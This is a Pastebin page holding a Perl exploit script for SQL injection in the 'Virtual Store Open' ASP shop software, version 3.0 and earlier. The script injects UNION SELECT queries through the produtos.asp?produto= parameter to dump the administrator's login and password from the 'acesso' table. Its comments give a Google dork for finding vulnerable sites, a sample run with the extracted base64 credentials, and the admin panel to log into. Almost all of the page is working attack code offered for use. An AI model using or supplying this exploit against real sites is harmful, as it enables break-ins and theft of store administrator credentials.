Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #
- # Script Name: Virtual Store Open <= 3.0
- # Link1 : http://www.virtuastore.com.br/shopping.asp?link=ShoppingVirtuaStore
- # Link2 : http://www.virtuastore2010.com.br/
- # Link3 Yahoo Group : http://br.groups.yahoo.com/group/virtuastore/
- # Bug: Acess Sql Injection
- # Found: Br0ly
- # google dork: inurl:"produtos.asp?produto="
- # Use some base64 decode google IT.
- # After decoding login and pass go to: www.site.com.br/administrador.asp
- # aoiuaoaaaaiuahiuahaaiauhaiuha EASY ???
- # BRASIL!! :D
- #
- # exploit demo:
- #
- #[br0ly@xploit web]$ perl virtualstore.txt http://server/produtos.asp?produto=98
- #
- # --------------------------------------
- # -Virutal Store OPen
- # -ACESS Sql Injection
- # -by Br0ly
- # --------------------------------------
- #
- #[+] GO: http://server/produtos.asp?produto=-1
- #[+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
- #[+] URL_INJECTED:: http://server/produtos.asp?produto=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,c0li,24,25%20FROM%20acesso;
- #[+] LOGIN:: YWRtaW4=
- #[+] SENHA:: ZXVyZWth
- #[+] Done
- #
- # ADMIN PAINEL: http://server/administrador.asp
- #
- use IO::Socket::INET;
- use IO::Select;
- use HTTP::Request;
- use LWP::UserAgent;
- #CONF
- my $host = $ARGV[0];
- my $spc = "%20";
- my $ce = "%26";
- my $fim_n = 51;
- my $login = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."login".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
- my $senha = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."senha".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
- if(@ARGV < 1 ) { help(1); }
- $h0st = url_id($host);
- banner();
- #GO
- magic($h0st);
- sub magic () {
- my $url = $_[0];
- my $union = "UNION".$spc."SELECT".$spc;
- my $end = "FROM".$spc."acesso;";
- my $c0de = "";
- my $c0li = "";
- my $i = 1;
- my $content = "";
- print "[+] GO: $url\n";
- syswrite(STDOUT,"[+] Testing: ",14);
- for($i = 1;$i <= $fim_n;$i += 1) {
- my @num_magic = char_str($i);
- my $num_edit = edit_char(@num_magic);
- my $hex = "chr(98)".$ce."chr(114)".$ce."chr(48)".$ce."chr(108)".$ce."chr(121)".$ce."$num_edit".$ce."chr(121)".$ce."chr(108)".$ce."chr(48)".$ce."chr(114)".$ce."chr(98)";
- my $bin = "br0ly".$i."yl0rb";
- if(($i > 1) && ($i < $fim_n)) {
- $c0li = $c0li.",".$hex;
- $c0de = $c0de.",".$bin;
- }
- else {
- $c0li = $c0li.$hex;
- $c0de = $c0de.$bin;
- }
- syswrite(STDOUT,$i.",", 255);
- my $xpl = $url.$spc.$union.$c0li.$spc.$end;
- $content = get_query($xpl);
- $content = tag($content);
- if($content =~ /fail/) { $i = $fim_n+1; }
- if($content =~ m/br0ly/i) {
- $number = ssdp_mid_str("br0ly","yl0rb",$content);
- $link1 = str_replace($c0de,"br0ly".$number."yl0rb","c0li");
- $link2 = str_replace($link1,"br0ly","");
- $link3 = str_replace($link2,"yl0rb","");
- $inject = $url.$spc.$union.$link3.$spc.$end;
- $sql_i = $inject;
- print "\n[+] URL_INJECTED:: $inject\n";
- $login_i = get_login($sql_i);
- if($login_i != 1) {
- print "[+] LOGIN:: $login_i\n";
- }
- else {
- print "[-] FAIL TO GET LOGIN\n";
- }
- $senha_i = get_senha($sql_i);
- if($senha_i != 1) {
- print "[+] SENHA:: $senha_i\n";
- }
- else {
- print "[-] FAIL TO GET SENHA\n";
- }
- $i = $fim_n;
- }
- if($i == $fim_n+1) {
- print ("[-] Failed to get magic number. Please try it manually :)\n");
- }
- }
- print ("[+] Done\n");
- }
- sub tag () {
- my $string = $_[0];
- $string =~ s/ /\$/g;
- $string =~ s/\s/\*/g;
- return($string);
- }
- sub ssdp_mid_str () {
- my $left = $_[0];
- my $right = $_[1];
- my $string = $_[2];
- my @exp = split($left,$string);
- my @data = split($right,$exp[1]);
- return $data[0];
- }
- sub get_login () {
- my $sqli = $_[0];
- $login_aux = str_replace($sqli,"c0li",$login);
- $query = get_query($login_aux);
- if($query =~ m/br0ly(.+)br0ly/i) {
- $login_r = $1;
- return $login_r;
- }
- else { return 1; }
- }
- sub get_senha () {
- my $sqli = $_[0];
- $senha_aux = str_replace($sqli,"c0li",$senha);
- $query = get_query($senha_aux);
- if($query =~ m/br0ly(.+)br0ly/i) {
- $senha_r = $1;
- return $senha_r;
- }
- else { return 1; }
- }
- sub url_id () {
- my $host = $_[0];
- my $fail = "fail";
- if($host =~ /=(.+)/) {
- $id = $1;
- $new_id = "-1";
- $host = str_replace($host,$id,$new_id);
- return $host;
- }
- else {
- return $fail;
- }
- }
- sub str_replace () {
- my $source = shift;
- my $search = shift;
- my $replace = shift;
- $source =~ s/$search/$replace/ge;
- return $source;
- }
- sub get_query () {
- my $link = $_[0];
- if($link =~ /http:\/\//) { $link =~ s/http:\/\///; }
- my $fail = "fail";
- my $req = HTTP::Request->new(GET => "http://".$link);
- my $ua = LWP::UserAgent->new();
- $ua->timeout(5);
- my $response = $ua->request($req);
- #if ($response->is_error) { print("[-][Error] [timeout]\n"); return $fail; }
- return $response->content;
- }
- sub char_str () {
- my $str_1 = $_[0];
- my @str_char = unpack("C*", $str_1);
- return @str_char;
- }
- sub edit_char () {
- my @num = @_;
- my $num_t = @num;
- my $num_magic;
- if($num_t > 1) {
- $num_magic = "chr($num[0])".$ce."chr($num[1])";
- return $num_magic;
- }
- else {
- $num_magic = "chr($num[0])";
- return $num_magic;
- }
- }
- sub help () {
- my $help = $_[0];
- if($help == 1) {
- banner();
- print "[-] MISS URL..\n";
- print "[+] USE:EX: perl $0 http://www.site_find_in_google.com.br/produtos.asp?produto=98\n";
- print "[+] USE:EX-LIVE: perl $0 http://server/produtos.asp?produto=98\n";
- exit(0);
- }
- }
- sub banner() {
- print "\n".
- " --------------------------------------\n".
- " -Virutal Store OPen \n".
- " -ACESS Sql Injection \n".
- " -by Br0ly \n".
- " --------------------------------------\n\n";
- }
Advertisement
Add Comment
Please, Sign In to add comment